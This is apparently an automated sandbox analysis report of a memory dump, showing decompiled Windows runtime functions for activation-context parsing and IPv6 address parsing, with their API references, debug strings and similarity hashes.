0x6d281d8e

APIs

memset.1105(?,00000000,0000003C,6D320348,00000154,6D25BC93,02BE0000,?,?,?,.mui,?,?,?,?,?), ref: 6D281D2F
RtlDosApplyFileIsolationRedirection_Ustr.1105(00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6D281D78
RtlFindActivationContextSectionString.1105(00000007,00000000,00000002,?,?,00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6D2BD509

Strings

@, xrefs: 6D281D1B
$, xrefs: 6D281D37

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationApplyContextFileFindIsolationRedirection_SectionStringUstrmemset
String ID: $$@
API String ID: 2010900335-1194432280
Opcode ID: 2849f9e8560f10499b295342633a855c5a9721e79c5c1f1ed70b0d00b87ecaa9
Instruction ID: 7611f99407107a4ecf8f7997a35f2d1d9f0b0600b1260a211220707a3a538db9
Opcode Fuzzy Hash: 2849f9e8560f10499b295342633a855c5a9721e79c5c1f1ed70b0d00b87ecaa9
Instruction Fuzzy Hash: 9D812B71D4026E9BDB21CF54CC40BEEB6B8AF49754F0141EAAA1DB7280D7709E85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D248EE6, Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 148COMMON

Download Yara Rule

Strings

SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!, xrefs: 6D2A34F1
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!, xrefs: 6D2A34FF
RtlpCrackActivationContextStringSectionHeader, xrefs: 6D2A34EC, 6D2A34FA, 6D2A3517, 6D2A3538, 6D2A3548, 6D2A3558, 6D2A3572, 6D2A3589, 6D2A3598
SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu, xrefs: 6D2A354D
SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu, xrefs: 6D2A3577
SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu, xrefs: 6D2A355D
SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu, xrefs: 6D2A359D
SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu, xrefs: 6D2A358E
SsHd, xrefs: 6D248F1B
SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu, xrefs: 6D2A351C
SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu, xrefs: 6D2A353D

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RtlpCrackActivationContextStringSectionHeader$SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu$SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu$SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu$SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu$SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu$SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu$SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!$SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!$SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu$SsHd
API String ID: 0-1525761513
Opcode ID: f86b9dbc016200ed44acab9f15b273769de7821c289739fb794b4add7179f0f0
Instruction ID: 40bab1dd9817e2a4e498a63a8e3962f5155bb37b55c0a5bd9bb858d640a5df05
Opcode Fuzzy Hash: f86b9dbc016200ed44acab9f15b273769de7821c289739fb794b4add7179f0f0
Instruction Fuzzy Hash: 8341A5F16E411EBFA7158E4DCC81D36B7AEFF86744766C159B8049A101E332ED4187B1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2631F0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6D2631F0(void* __ecx, void __edx, void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v12;
				void _v28;
				signed int _v32;
				void _v36;
				int _v40;
				void _v44;
				intOrPtr _v48;
				void _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t80;
				void* _t85;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t95;
				signed int _t96;
				int _t97;
				void* _t99;
				intOrPtr _t100;
				signed int _t106;
				int _t110;
				void _t120;
				void* _t125;
				signed char _t126;
				void* _t127;
				intOrPtr _t128;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				signed int _t139;
				void* _t140;
				signed int _t152;

				_t132 = __edx;
				_v12 =  *0x6d33d360 ^ _t139;
				_t135 = __ecx;
				_t136 = 0;
				_v56 = _a8;
				_t110 =  *(__ecx + 0xc);
				_v52 = __edx;
				_v60 = _a12;
				_v40 = _t110;
				if(_t110 < 0x20 ||  *((intOrPtr*)(__ecx + 4)) < 0x20) {
					_push( *((intOrPtr*)(_t135 + 4)));
					_push(_t110);
					_push(_t135);
					_push("SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu\n");
					goto L50;
				} else {
					if(__edx != 0) {
						_t82 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
							goto L25;
						} else {
							_t132 = 1;
							_t85 = E6D2D444F(_t82, 1, 0x10, _t110);
							_t86 =  *((intOrPtr*)(_t135 + 0x14));
							_push(_t110);
							if(_t85 != 0) {
								_t120 =  *(_t86 + _t135 + 4);
								_t132 = _t120;
								_v44 = _t120;
								_push(0x18);
								_v32 =  *((intOrPtr*)(_t86 + _t135 + 8));
								if(E6D2D444F( *((intOrPtr*)(_t86 + _t135 + 8)), _t120) != 0) {
									_t123 = _v32 + _t135;
									_v32 = 0;
									_v48 = _t123;
									if(_v44 <= 0) {
										goto L25;
									} else {
										_t110 = _v52;
										_v36 = _t123;
										while(1) {
											_t90 = E6D28F380(_t110, _t123, 0x10);
											_t140 = _t140 + 0xc;
											_t91 = _v32;
											if(_t90 == 0) {
												break;
											}
											_t106 = _t91 + 1;
											_t123 = _v36 + 0x18;
											_v32 = _t106;
											_v36 = _v36 + 0x18;
											if(_t106 < _v44) {
												continue;
											} else {
												goto L25;
											}
											goto L52;
										}
										_t132 = 1;
										_t110 =  *(_v48 + 0x10 + (_t91 + _t91 * 2) * 8);
										if(E6D2D444F(_t110, 1, 0x10,  *(_t135 + 0xc)) != 0) {
											goto L4;
										} else {
											_push(_v40);
											_push(0x10);
											_push(_t110);
											E6D2D5720(0x33, 0, "SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)\n", _v32);
											goto L51;
										}
									}
								} else {
									_push(_t110);
									_push(0x18);
									_push(_v44);
									E6D2D5720(0x33, 0, "SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _v32);
									goto L51;
								}
							} else {
								E6D2D5720(0x33, 0, "SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)\n", _t86);
								goto L51;
							}
						}
					} else {
						_t110 =  *(__ecx + 0x10);
						if(_t110 == 0) {
							L25:
							return E6D28B640(0xc0150001, _t110, _v12 ^ _t139, _t132, _t135, _t136);
						} else {
							L4:
							_t125 = _t135 + _t110;
							if(_t125 == 0) {
								goto L25;
							} else {
								_t110 =  *(_t125 + 4);
								if(_t110 == 0) {
									goto L25;
								} else {
									_v36 =  *(_t125 + 8);
									_t95 = _t110;
									_t96 = _t95 * 0x10;
									_t152 = _t95 * 0x10 >> 0x20;
									if(_t152 < 0 || _t152 <= 0 && _t96 <= 0xffffffff) {
										_t132 =  *(_t125 + 8);
										_t137 = _t96 + _t132;
										_v48 = _t137;
										_t136 = 0;
										if(_t137 < _t96) {
											goto L47;
										} else {
											_t97 =  *(_t135 + 0xc);
											if(_t132 >= _t97 || _v48 > _t97) {
												goto L48;
											} else {
												_t126 =  *(_t125 + 0xc);
												_t99 = _t132 + _t135;
												if((_t126 & 0x00000002) == 0) {
													_t127 = 0;
													if(_t110 != 0) {
														_t132 = _a4;
														while( *_t99 != _t132) {
															_t127 = _t127 + 1;
															_t99 = _t99 + 0x10;
															if(_t127 < _t110) {
																continue;
															} else {
															}
															goto L17;
														}
														goto L16;
													}
													goto L17;
												} else {
													_t132 =  *_t99;
													_t136 = _a4;
													if(_t136 < _t132) {
														goto L25;
													} else {
														if((_t126 & 0x00000001) != 0) {
															_t136 = _t136 - _t132;
															if(_t136 >= _t110) {
																goto L25;
															} else {
																_t136 = _t99 + (_t136 << 4);
																goto L17;
															}
														} else {
															_v28 = _t136;
															_t99 = bsearch( &_v28, _t99, _t110, 0x10, 0x6d278c30);
															_t140 = _t140 + 0x14;
															L16:
															_t136 = _t99;
															L17:
															if(_t136 == 0) {
																goto L25;
															} else {
																_t100 =  *((intOrPtr*)(_t136 + 4));
																if(_t100 == 0) {
																	goto L25;
																} else {
																	_t128 =  *((intOrPtr*)(_t136 + 8));
																	_t110 =  *(_t135 + 0xc);
																	if(_t128 > 0xffffffff) {
																		L26:
																		_push(_t110);
																		_push(_t128);
																		_push(_t100);
																		_push("SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)\n");
																		L50:
																		_push(0);
																		_push(0x33);
																		E6D2D5720();
																		goto L51;
																	} else {
																		_t132 = _t128 + _t100;
																		if(_t132 < _t128 || _t100 >= _t110 || _t132 > _t110) {
																			goto L26;
																		} else {
																			 *_v56 = _t100 + _t135;
																			 *_v60 =  *((intOrPtr*)(_t136 + 8));
																			_t80 = 0;
																		}
																	}
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t132 = _v36;
										L47:
										_t97 = _v40;
										L48:
										_push(_t97);
										_push(0x10);
										_push(_t110);
										E6D2D5720(0x33, 0, "SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _t132);
										L51:
										_t80 = 0xc0150003;
										L24:
										return E6D28B640(_t80, _t110, _v12 ^ _t139, _t132, _t135, _t136);
									}
								}
							}
						}
					}
				}
				L52:
			}

0x6d2631f0
0x6d2631ff
0x6d263205
0x6d26320c
0x6d26320e
0x6d263214
0x6d263217
0x6d26321a
0x6d26321d
0x6d263223
0x6d2ad974
0x6d2ad977
0x6d2ad978
0x6d2ad979
0x00000000
0x6d263233
0x6d263235
0x6d2ad824
0x6d2ad829
0x00000000
0x6d2ad82f
0x6d2ad832
0x6d2ad839
0x6d2ad840
0x6d2ad843
0x6d2ad844
0x6d2ad85d
0x6d2ad861
0x6d2ad867
0x6d2ad86c
0x6d2ad86e
0x6d2ad878
0x6d2ad89f
0x6d2ad8a1
0x6d2ad8a4
0x6d2ad8aa
0x00000000
0x6d2ad8b0
0x6d2ad8b0
0x6d2ad8b3
0x6d2ad8b6
0x6d2ad8ba
0x6d2ad8bf
0x6d2ad8c4
0x6d2ad8c7
0x00000000
0x00000000
0x6d2ad8cc
0x6d2ad8cd
0x6d2ad8d0
0x6d2ad8d3
0x6d2ad8d9
0x00000000
0x6d2ad8db
0x00000000
0x6d2ad8db
0x00000000
0x6d2ad8d9
0x6d2ad8e9
0x6d2ad8f0
0x6d2ad8fd
0x00000000
0x6d2ad903
0x6d2ad903
0x6d2ad909
0x6d2ad90b
0x6d2ad916
0x00000000
0x6d2ad91b
0x6d2ad8fd
0x6d2ad87a
0x6d2ad87d
0x6d2ad87e
0x6d2ad880
0x6d2ad88d
0x00000000
0x6d2ad892
0x6d2ad846
0x6d2ad850
0x00000000
0x6d2ad855
0x6d2ad844
0x6d26323b
0x6d26323b
0x6d263240
0x6d26332c
0x6d263341
0x6d263246
0x6d263246
0x6d263246
0x6d26324b
0x00000000
0x6d263251
0x6d263251
0x6d263256
0x00000000
0x6d26325c
0x6d263264
0x6d263267
0x6d263269
0x6d26326b
0x6d26326d
0x6d26327e
0x6d263281
0x6d263284
0x6d263289
0x6d26328e
0x00000000
0x6d263294
0x6d263294
0x6d263299
0x00000000
0x6d2632a8
0x6d2632a8
0x6d2632ab
0x6d2632b1
0x6d2ad934
0x6d2ad938
0x6d2ad93e
0x6d2ad941
0x6d2ad949
0x6d2ad94a
0x6d2ad94f
0x00000000
0x00000000
0x6d2ad951
0x00000000
0x6d2ad94f
0x00000000
0x6d2ad941
0x00000000
0x6d2632b7
0x6d2632b7
0x6d2632b9
0x6d2632be
0x00000000
0x6d2632c0
0x6d2632c3
0x6d2ad920
0x6d2ad924
0x00000000
0x6d2ad92a
0x6d2ad92d
0x00000000
0x6d2ad92d
0x6d2632c9
0x6d2632d5
0x6d2632d9
0x6d2632de
0x6d2632e1
0x6d2632e1
0x6d2632e3
0x6d2632e5
0x00000000
0x6d2632e7
0x6d2632e7
0x6d2632ec
0x00000000
0x6d2632ee
0x6d2632ee
0x6d2632f1
0x6d2632f7
0x6d263344
0x6d263344
0x6d263345
0x6d263346
0x6d263347
0x6d2ad97e
0x6d2ad97e
0x6d2ad980
0x6d2ad982
0x00000000
0x6d2632f9
0x6d2632f9
0x6d2632fe
0x00000000
0x6d263308
0x6d26330d
0x6d263315
0x6d263317
0x6d263317
0x6d2632fe
0x00000000
0x6d2632f7
0x6d2632ec
0x6d2632e5
0x6d2632c3
0x6d2632be
0x6d2632b1
0x6d263299
0x6d2ad956
0x6d2ad956
0x6d2ad959
0x6d2ad959
0x6d2ad95c
0x6d2ad95c
0x6d2ad95d
0x6d2ad95f
0x6d2ad96a
0x6d2ad98a
0x6d2ad98a
0x6d26331c
0x6d263329
0x6d263329
0x6d26326d
0x6d263256
0x6d26324b
0x6d263240
0x6d263235
0x00000000

APIs

bsearch.1105(00000001,?,00000020,00000010,6D278C30,00000010,?,C00000E5,00000000,00000030,?,6D248D70,00000000,?,?,00000030), ref: 6D2632D9
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes),?,?,00000010,?,C00000E5,00000000,00000030,?,6D248D70,00000000,?,?,00000030), ref: 6D2AD850
DbgPrintEx.1105(00000033,00000000,SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes),?,00000020,00000010,00000030,00000010,?,C00000E5,00000000,00000030,?,6D248D70,00000000,?), ref: 6D2AD96A
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu,00000001,?,?,C00000E5,00000000,00000030,?,6D248D70,00000000,?,?,00000030,?), ref: 6D2AD982

Strings

SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6D2AD884
SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes), xrefs: 6D263347
SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu, xrefs: 6D2AD979
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6D2AD961
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes), xrefs: 6D2AD90D
SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes), xrefs: 6D2AD847

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$bsearch
String ID: SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu$SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)$SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)$SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
API String ID: 3813682011-732641482
Opcode ID: 86a2c419b644d14fb334bf593b018b12fc89a66a3190a079acfbd62b717ce882
Instruction ID: 618ea633d27b796ddbd41e3def3a59318df145a2a7286e6d3da343fc0c5ac2ca
Opcode Fuzzy Hash: 86a2c419b644d14fb334bf593b018b12fc89a66a3190a079acfbd62b717ce882
Instruction Fuzzy Hash: 3881A771E8420FAFEB10CE54C8C1FAEB3B9FB48715F148129E915A7251E771E891CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D246D10, Relevance: 21.3, APIs: 14, Instructions: 316
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6D246D10(char* _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char** _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _t97;
				char** _t99;
				void* _t108;
				long _t115;
				void* _t118;
				char* _t120;
				char** _t121;
				long _t122;
				long _t123;
				signed int _t124;
				void* _t127;
				void* _t132;
				char* _t134;
				char** _t137;
				intOrPtr _t141;
				intOrPtr _t142;
				signed int _t143;
				char _t146;
				signed int _t151;
				char* _t153;
				intOrPtr* _t155;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				char** _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t175;
				intOrPtr _t177;
				signed int _t179;
				signed int _t180;
				void* _t182;
				void* _t189;

				_t97 = 0;
				_v32 = 0;
				_t170 = 0;
				_v5 = 0;
				_t180 = 0;
				_v28 = 0;
				_t143 = 0;
				_v24 = 0;
				_t179 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_t141 =  *_a4;
				while(_t141 != 0) {
					_t117 = _t97;
					if(_t117 != 0) {
						_t118 = _t117 - 1;
						if(_t118 != 0) {
							_t117 = _t118 == 1;
							if(_t118 == 1) {
								goto L3;
							}
							_t121 = _v20;
							_t177 = _v24;
							L27:
							if(_t177 != 1) {
								L32:
								_t142 = _a12;
								L52:
								_t153 = _v32;
								_t180 = _v12;
								if(_t153 == 0) {
									goto L28;
								}
								if(_t121 != 0) {
									if(_t180 > 3) {
										L14:
										return 0xc000000d;
									}
									_t122 = strtol(_t153, 0, 0xa);
									_t189 = _t189 + 0xc;
									if(_t122 > 0xff) {
										goto L14;
									}
									_t170 = _v20;
									 *(_t170 + _v28 * 2 + _t142 - 1) = _t122;
									L29:
									_t97 = _v24;
									L30:
									_t155 = _a4 + 1;
									_a4 = _t155;
									_t141 =  *_t155;
									_t143 = _v16;
									continue;
								}
								if(_t180 > 4) {
									goto L14;
								}
								_t123 = strtol(_t153, _t121, 0x10);
								_t189 = _t189 + 0xc;
								_t124 = _v28;
								 *((short*)(_t142 + _t124 * 2)) = _t123;
								_v28 = _t124 + 1;
							}
							L28:
							_t170 = _v20;
							goto L29;
						}
						_t185 = _t141;
						_t131 = E6D28CB30(_t118, _t141);
						_pop(_t161);
						if(_t131 == 0 || E6D28CC80(_t161, _t185) == 0) {
							_t132 = E6D28CB30(_t131, _t185);
							_pop(_t162);
							if(_t132 == 0 || E6D28CDD0(_t162, _t185) == 0) {
								if(_t141 == 0x3a) {
									if(_v20 != 0 || _t179 > 6) {
										L9:
										_t143 = _v16;
										goto L10;
									} else {
										_t134 = _a4 + 1;
										if( *_t134 != 0x3a) {
											_t177 = 0;
											L43:
											_t180 = _v12;
											_t179 = _t179 + 1;
											_t121 = _v20;
											L26:
											_v24 = _t177;
											goto L27;
										}
										_t143 = _v16;
										if(_t143 != 0) {
											L10:
											_t180 = _v12;
											break;
										}
										_t177 = 2;
										_t37 = _t179 + 1; // 0x1
										_a4 = _t134;
										_push(_t177);
										_v16 = _t37;
										_pop(1);
										goto L43;
									}
								}
								if(_t141 != 0x2e) {
									goto L9;
								}
								if(_v5 != 0) {
									goto L9;
								}
								_t137 = _v20;
								if(_t137 > 2 || _t179 > 6) {
									goto L9;
								} else {
									_t121 = _t137 + 1;
									_v20 = _t121;
									_v24 = 0;
									goto L32;
								}
							} else {
								_t170 = _v20;
								_t180 = _v12 + 1;
								_v12 = _t180;
								if(_t170 != 0) {
									_t143 = _v16;
									break;
								}
								_v5 = 1;
								goto L29;
							}
						} else {
							_t180 = _v12 + 1;
							_v12 = _t180;
							goto L28;
						}
					}
					L3:
					if(_t141 == 0x3a) {
						if(_t170 != 0 || _t179 != 0) {
							break;
						} else {
							_t120 = _a4 + 1;
							if( *_t120 != 0x3a) {
								break;
							}
							_t142 = _a12;
							_a4 = _t120;
							_t121 = _v20;
							_v16 = 1;
							_t151 = _v28;
							_t179 = 2;
							 *((short*)(_t142 + _t151 * 2)) = _t170;
							_t175 = _t179;
							_v28 = _t151 + 1;
							_v24 = _t175;
							goto L52;
						}
					}
					if(_t179 > 7) {
						break;
					}
					_t183 = _t141;
					_t126 = E6D28CB30(_t117, _t141);
					_pop(_t156);
					if(_t126 == 0 || E6D28CC80(_t156, _t183) == 0) {
						_t127 = E6D28CB30(_t126, _t183);
						_pop(_t157);
						if(_t127 == 0 || E6D28CDD0(_t157, _t183) == 0) {
							goto L9;
						} else {
							_t121 = _v20;
							if(_t121 != 0) {
								goto L9;
							}
							_v5 = 1;
							_t177 = 1;
							_v32 = _a4;
							_t180 = 1;
							_v12 = 1;
							goto L26;
						}
					} else {
						_t170 = _v20;
						_v32 = _a4;
						_t97 = 1;
						_v5 = 0;
						_t180 = 1;
						_v24 = 1;
						_v12 = 1;
						goto L30;
					}
				}
				 *_a8 = _a4;
				_t99 = _v20;
				if(_t99 != 0) {
					if(_t99 != 3) {
						goto L14;
					}
					_t179 = _t179 + 1;
				}
				if(_t143 != 0 || _t179 == 7) {
					_t172 = _v24;
					if(_t172 != 1) {
						if(_t172 != 2) {
							goto L14;
						}
						_t173 = _a12;
						 *((short*)(_t173 + _v28 * 2)) = 0;
						L73:
						if(_t143 != 0) {
							_t182 = _t173 + _t143 * 2;
							memmove(_t173 + (_t143 - _t179 + 8) * 2, _t182, _t179 - _t143 + _t179 - _t143);
							_t108 = 8;
							memset(_t182, 0, _t108 - _t179 + _t108 - _t179);
						}
						return 0;
					}
					if(_t99 != 0) {
						if(_t180 > 3) {
							goto L14;
						}
						_t146 = strtol(_v32, 0, 0xa);
						_t189 = _t189 + 0xc;
						if(_t146 > 0xff) {
							goto L14;
						}
						_t173 = _a12;
						 *((char*)(_v20 + _v28 * 2 + _t173)) = _t146;
						L70:
						_t143 = _v16;
						goto L73;
					}
					if(_t180 > 4) {
						goto L14;
					}
					_t115 = strtol(_v32, _t99, 0x10);
					_t173 = _a12;
					_t189 = _t189 + 0xc;
					 *((short*)(_t173 + _v28 * 2)) = _t115;
					goto L70;
				} else {
					goto L14;
				}
			}

0x6d246d1c
0x6d246d1e
0x6d246d21
0x6d246d23
0x6d246d26
0x6d246d28
0x6d246d2b
0x6d246d2d
0x6d246d31
0x6d246d33
0x6d246d39
0x6d246d3c
0x6d246d3f
0x6d246d41
0x6d246d45
0x6d246d48
0x6d246dc7
0x6d246dca
0x6d2a1e50
0x6d2a1e53
0x00000000
0x00000000
0x6d2a1e59
0x6d2a1e5c
0x6d246e3b
0x6d246e3e
0x6d246e60
0x6d246e60
0x6d2a1f34
0x6d2a1f34
0x6d2a1f37
0x6d2a1f3c
0x00000000
0x00000000
0x6d2a1f44
0x6d2a1f90
0x6d246db9
0x00000000
0x6d246db9
0x6d2a1f9b
0x6d2a1fa0
0x6d2a1fa8
0x00000000
0x00000000
0x6d2a1fae
0x6d2a1fb7
0x6d246e43
0x6d246e43
0x6d246e46
0x6d246e49
0x6d246e4a
0x6d246e4d
0x6d246e4f
0x00000000
0x6d246e4f
0x6d2a1f49
0x00000000
0x00000000
0x6d2a1f53
0x6d2a1f5a
0x6d2a1f5f
0x6d2a1f62
0x6d2a1f67
0x6d2a1f67
0x6d246e40
0x6d246e40
0x00000000
0x6d246e40
0x6d246dd0
0x6d246dd4
0x6d246dd9
0x6d246ddc
0x6d246dea
0x6d246def
0x6d246df2
0x6d246e06
0x6d2a1e83
0x6d246d8f
0x6d246d8f
0x00000000
0x6d2a1e92
0x6d2a1e95
0x6d2a1e99
0x6d2a1eb8
0x6d2a1ebb
0x6d2a1ebb
0x6d2a1ebe
0x6d2a1ec0
0x6d246e38
0x6d246e38
0x00000000
0x6d246e38
0x6d2a1e9b
0x6d2a1ea0
0x6d246d92
0x6d246d92
0x00000000
0x6d246d92
0x6d2a1ea8
0x6d2a1ea9
0x6d2a1eac
0x6d2a1eaf
0x6d2a1eb0
0x6d2a1eb3
0x00000000
0x6d2a1eb3
0x6d2a1e83
0x6d246e0f
0x00000000
0x00000000
0x6d2a1ecc
0x00000000
0x00000000
0x6d2a1ed2
0x6d2a1ed8
0x00000000
0x6d2a1ee7
0x6d2a1ee7
0x6d2a1eea
0x6d2a1eed
0x00000000
0x6d2a1eed
0x6d2a1e64
0x6d2a1e67
0x6d2a1e6a
0x6d2a1e6b
0x6d2a1e70
0x6d2a1fc0
0x00000000
0x6d2a1fc0
0x6d2a1e76
0x00000000
0x6d2a1e76
0x6d246e57
0x6d246e5a
0x6d246e5b
0x00000000
0x6d246e5b
0x6d246ddc
0x6d246d4a
0x6d246d4d
0x6d2a1ef7
0x00000000
0x6d2a1f05
0x6d2a1f08
0x6d2a1f0c
0x00000000
0x00000000
0x6d2a1f12
0x6d2a1f18
0x6d2a1f1b
0x6d2a1f1e
0x6d2a1f21
0x6d2a1f26
0x6d2a1f28
0x6d2a1f2d
0x6d2a1f2e
0x6d2a1f31
0x00000000
0x6d2a1f31
0x6d2a1ef7
0x6d246d56
0x00000000
0x00000000
0x6d246d58
0x6d246d5c
0x6d246d61
0x6d246d64
0x6d246d76
0x6d246d7b
0x6d246d7e
0x00000000
0x6d246e1a
0x6d246e1a
0x6d246e1f
0x00000000
0x00000000
0x6d246e2c
0x6d246e30
0x6d246e31
0x6d246e34
0x6d246e35
0x00000000
0x6d246e35
0x6d2a1f6f
0x6d2a1f74
0x6d2a1f77
0x6d2a1f7c
0x6d2a1f7d
0x6d2a1f81
0x6d2a1f82
0x6d2a1f85
0x00000000
0x6d2a1f85
0x6d246d64
0x6d246d9b
0x6d246d9d
0x6d246da2
0x6d2a1fcb
0x00000000
0x00000000
0x6d2a1fd1
0x6d2a1fd1
0x6d246daa
0x6d2a1fd7
0x6d2a1fdd
0x6d2a2047
0x00000000
0x00000000
0x6d2a204d
0x6d2a2055
0x6d2a2059
0x6d2a205b
0x6d2a205d
0x6d2a2071
0x6d2a2078
0x6d2a2081
0x6d2a2086
0x00000000
0x6d2a2089
0x6d2a1fe1
0x6d2a200d
0x00000000
0x00000000
0x6d2a201f
0x6d2a2021
0x6d2a202a
0x00000000
0x00000000
0x6d2a2039
0x6d2a203c
0x6d2a203f
0x6d2a203f
0x00000000
0x6d2a203f
0x6d2a1fe6
0x00000000
0x00000000
0x6d2a1ff2
0x6d2a1ff7
0x6d2a1ffe
0x6d2a2004
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6D246D5C
isdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6D246D67
__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6D246D76
isxdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6D246D81
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6D246DD4
isdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6D246DDF
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6D246DEA
isxdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6D246DF5
strtol.1105(?,00000000,00000010,?,?,00000000,?,00000000,?,00000000), ref: 6D2A1F53

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isascii$isdigitisxdigit$strtol
String ID:
API String ID: 2731936382-0
